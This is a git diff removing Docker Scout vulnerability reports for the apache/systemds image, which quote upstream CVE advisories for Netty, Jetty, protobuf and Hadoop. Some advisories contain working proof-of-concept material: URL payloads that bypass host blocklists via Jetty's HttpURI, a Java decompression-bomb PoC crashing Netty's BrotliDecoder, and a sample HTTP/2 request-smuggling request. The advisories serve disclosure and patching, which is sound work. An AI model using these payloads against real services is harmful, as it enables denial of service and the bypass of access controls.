- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.124.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/medium-cves/sysds_output9.md b/docker/scout_results/medium-cves/sysds_output9.md deleted file mode 100644 index 803a35baa00..00000000000 --- a/docker/scout_results/medium-cves/sysds_output9.md +++ /dev/null @@ -1,1637 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:ac30738bda056e1096ebefcd790f910f1ebcd234c4a59973f9070cb9431a15e5
vulnerabilitiescritical: 1 high: 10 medium: 28 low: 7 unspecified: 1
platformlinux/amd64
size370 MB
packages358
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
